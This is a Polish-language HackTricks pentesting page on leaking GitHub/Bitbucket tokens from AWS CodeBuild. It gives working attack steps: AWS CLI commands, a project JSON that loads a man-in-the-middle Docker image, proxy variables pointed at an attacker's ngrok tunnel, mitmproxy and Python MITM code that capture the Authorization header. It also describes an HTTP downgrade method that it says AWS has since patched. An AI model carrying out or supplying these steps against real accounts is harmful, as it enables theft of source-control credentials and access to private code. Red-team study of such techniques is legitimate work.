AWS Codebuild - Token Leakage

Nauka hakowania AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Odzyskiwanie Skonfigurowanych Tokenów Github/Bitbucket

Najpierw sprawdź, czy skonfigurowano jakiekolwiek poświadczenia źródłowe, które mogą ulec wyciekowi:

aws codebuild list-source-credentials

Poprzez obraz Docker

Jeśli odkryjesz, że uwierzytelnienie na przykład w Githubie jest ustawione w koncie, możesz wyciec ten dostęp (token GH lub token OAuth) sprawiając, że Codebuild będzie używał określonego obrazu Dockera do uruchomienia budowy projektu.

W tym celu możesz utworzyć nowy projekt Codebuild lub zmienić środowisko istniejącego, aby ustawić obraz Dockera.

Obraz Dockera, który możesz użyć, to https://github.com/carlospolop/docker-mitm. Jest to bardzo podstawowy obraz Dockera, który ustawia zmienne środowiskowe https_proxy, http_proxy i SSL_CERT_FILE. Pozwoli to przechwycić większość ruchu hosta wskazanego w https_proxy i http_proxy oraz zaufać CERT SSL wskazanemu w SSL_CERT_FILE.

  1. Utwórz i Prześlij swój własny obraz Docker MitM

  • Postępuj zgodnie z instrukcjami repozytorium, aby ustawić swój adres IP proxy i ustaw swój certyfikat SSL oraz zbuduj obraz Dockera.

  • NIE USTAWIAJ http_proxy, aby nie przechwytywać żądań do punktu końcowego metadanych.

  • Możesz użyć ngrok jak ngrok tcp 4444 do ustawienia proxy dla twojego hosta.

  • Gdy już zbudujesz obraz Dockera, prześlij go do publicznego repozytorium (Dockerhub, ECR...)

  1. Ustaw środowisko

  • Utwórz nowy projekt Codebuild lub zmodyfikuj środowisko istniejącego.

  • Ustaw projekt, aby używał wcześniej wygenerowanego obrazu Dockera

  1. Ustaw proxy MitM na swoim hoście

  • Jak wskazano w repozytorium Githuba, możesz użyć czegoś w rodzaju:

mitmproxy --listen-port 4444  --allow-hosts "github.com"

Użyta wersja mitmproxy to 9.0.1, zgłoszono, że z wersją 10 to może nie działać.

  1. Uruchomienie budowy i przechwycenie poświadczeń

  • Token można zobaczyć w nagłówku Authorization:

Można to również zrobić z wiersza poleceń aws, coś w stylu

# Create project using a Github connection
aws codebuild create-project --cli-input-json file:///tmp/buildspec.json

## With /tmp/buildspec.json
{
"name": "my-demo-project",
"source": {
"type": "GITHUB",
"location": "https://github.com/uname/repo",
"buildspec": "buildspec.yml"
},
"artifacts": {
"type": "NO_ARTIFACTS"
},
"environment": {
"type": "LINUX_CONTAINER", // Use "ARM_CONTAINER" to run docker-mitm ARM
"image": "docker.io/carlospolop/docker-mitm:v12",
"computeType": "BUILD_GENERAL1_SMALL",
"imagePullCredentialsType": "CODEBUILD"
}
}

## Json

# Start the build
aws codebuild start-build --project-name my-project2

Przez protokół HTTP

Ta podatność została naprawiona przez AWS w pewnym momencie w tygodniu 20 lutego 2023 r. (Chyba w piątek). Dlatego atakujący nie może już z niej skorzystać :)

Atakujący z podwyższonymi uprawnieniami w CodeBuild mógłby ujawnić token Github/Bitbucket skonfigurowany lub jeśli uprawnienia były skonfigurowane za pomocą OAuth, tymczasowy token OAuth używany do dostępu do kodu.

  • Atakujący mógł dodać zmienne środowiskowe http_proxy i https_proxy do projektu CodeBuild wskazujące na swoją maszynę (na przykład http://5.tcp.eu.ngrok.io:14972).

  • Następnie zmień adres URL repozytorium github na użycie protokołu HTTP zamiast HTTPS, na przykład: **http://**github.com/carlospolop-forks/TestActions

  • Następnie uruchom podstawowy przykład z https://github.com/synchronizing/mitm na porcie wskazanym przez zmienne proxy (http_proxy i https_proxy)

from mitm import MITM, protocol, middleware, crypto

mitm = MITM(
host="127.0.0.1",
port=4444,
protocols=[protocol.HTTP],
middlewares=[middleware.Log], # middleware.HTTPLog used for the example below.
certificate_authority = crypto.CertificateAuthority()
)
mitm.run()
  • W końcu kliknij Build the project, poświadczenia zostaną wysłane w postaci tekstu jawnego (base64) do portu mitm:

Teraz atakujący będzie mógł użyć tokena ze swojego komputera, wyświetlić wszystkie przywileje, jakie ma, i (nadużywać) łatwiej niż korzystając bezpośrednio z usługi CodeBuild.

Naucz się hakować AWS od zera do bohatera z htARTE (HackTricks AWS Red Team Expert)!

Inne sposoby wsparcia HackTricks:

Last updated